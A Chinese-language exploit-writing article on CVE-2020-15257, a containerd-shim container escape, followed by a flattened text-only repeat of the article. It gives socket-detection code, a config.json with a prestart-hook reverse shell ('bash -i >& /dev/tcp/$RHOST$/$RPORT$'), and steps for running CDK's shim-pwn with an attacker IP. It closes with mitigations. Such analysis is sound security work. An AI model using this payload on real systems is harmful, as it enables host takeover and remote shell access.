容器逃逸之 CVE-2020-15257 EXP编写
字数 842 2025-08-19 12:42:04

CVE-2020-15257 容器逃逸漏洞分析与利用

漏洞概述

CVE-2020-15257 是一个影响 containerd 的容器逃逸漏洞,当 Docker 使用 --net=host 参数启动容器时,攻击者可以利用该漏洞从容器内部逃逸到宿主机。

漏洞原理

漏洞存在于 containerd -> containerd-shim -> runc 的通信模型中:

  1. containerd-shim 的接口作为 abstract unix socket 暴露
  2. 当 Docker 使用 net=host 参数启动容器时(与宿主机共享 net namespace)
  3. 容器内部可以访问到这些 unix socket
  4. 攻击者通过这些 socket 可以控制下游 runc 进程启动新的恶意镜像

漏洞检测

检测方法是通过检查容器内的 /proc/net/unix 文件,查找 containerd-shim 的 socket:

func getShimSockets() ([][]byte, error) {
    re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
    if err != nil {
        return nil, err
    }
    data, err := ioutil.ReadFile("/proc/net/unix")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return nil, errors.New("Cannot find vulnerable socket")
    }
    return matches, nil
}

漏洞利用

已有利用思路

  1. 通过启动新镜像 mount 宿主机文件系统
  2. 写入宿主机文件如 /etc/crontab 完成逃逸

更高效的利用方法

不启动完整容器,而是利用 containerd-shim 的 prestart hook 直接执行命令:

  1. 构造包含恶意 prestart hook 的 config.json
  2. 通过 ttrpc 协议与 containerd-shim 通信
  3. 利用 CreateTask API 触发 prestart hook 执行

关键利用代码:

var configJson = `
{
  "ociVersion": "1.0.1-dev",
  "process": {
    "terminal": true,
    "user": {
      "uid": 0,
      "gid": 0
    },
    "args": [
      "/bin/bash"
    ],
    "env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "HOSTNAME=b6cee9b57f3b",
      "TERM=xterm"
    ],
    "cwd": "/"
  },
  "root": {
   "path": "/tmp"
  },
  "hostname": "b6cee9b57f3b",
  "hooks": {
        "prestart": [
            {
                "path": "/bin/bash",
                "args": ["bash", "-c", "bash -i >& /dev/tcp/$RHOST$/$RPORT$ 0>&1"],
                "env":  ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]
            }
        ]
    },
  "linux": {
    "resources": {
      "devices": [
        {
          "allow": false,
          "access": "rwm"
        }
      ],
      "memory": {
        "disableOOMKiller": false
      },
      "cpu": {
        "shares": 0
      },
      "blockIO": {
        "weight": 0
      }
    },
    "namespaces": [
      {
        "type": "mount"
      },
      {
        "type": "network"
      },
      {
        "type": "uts"
      },
      {
        "type": "ipc"
      }
    ]
  }
}
`

完整利用步骤

  1. 在宿主机上启动一个普通容器:

    docker run -d -it ubuntu /bin/bash
    
  2. 启动一个使用 host 网络的容器(漏洞利用环境):

    docker run --rm --net=host -it ubuntu /bin/bash
    
  3. 在容器内执行利用代码:

    ./cdk_linux_amd64 run shim-pwn <攻击者IP> <监听端口>
    

防御措施

  1. 避免使用 --net=host 参数启动容器
  2. 升级 containerd 到修复版本
  3. 使用 seccomp 和 AppArmor 限制容器权限

参考资源

  1. 漏洞原理解析 - Medium
  2. 中文分析文章
  3. NCC Group 利用分析
  4. 完整利用代码
CVE-2020-15257 容器逃逸漏洞分析与利用 漏洞概述 CVE-2020-15257 是一个影响 containerd 的容器逃逸漏洞,当 Docker 使用 --net=host 参数启动容器时,攻击者可以利用该漏洞从容器内部逃逸到宿主机。 漏洞原理 漏洞存在于 containerd -> containerd-shim -> runc 的通信模型中: containerd-shim 的接口作为 abstract unix socket 暴露 当 Docker 使用 net=host 参数启动容器时(与宿主机共享 net namespace) 容器内部可以访问到这些 unix socket 攻击者通过这些 socket 可以控制下游 runc 进程启动新的恶意镜像 漏洞检测 检测方法是通过检查容器内的 /proc/net/unix 文件,查找 containerd-shim 的 socket: 漏洞利用 已有利用思路 通过启动新镜像 mount 宿主机文件系统 写入宿主机文件如 /etc/crontab 完成逃逸 更高效的利用方法 不启动完整容器,而是利用 containerd-shim 的 prestart hook 直接执行命令: 构造包含恶意 prestart hook 的 config.json 通过 ttrpc 协议与 containerd-shim 通信 利用 CreateTask API 触发 prestart hook 执行 关键利用代码: 完整利用步骤 在宿主机上启动一个普通容器: 启动一个使用 host 网络的容器(漏洞利用环境): 在容器内执行利用代码: 防御措施 避免使用 --net=host 参数启动容器 升级 containerd 到修复版本 使用 seccomp 和 AppArmor 限制容器权限 参考资源 漏洞原理解析 - Medium 中文分析文章 NCC Group 利用分析 完整利用代码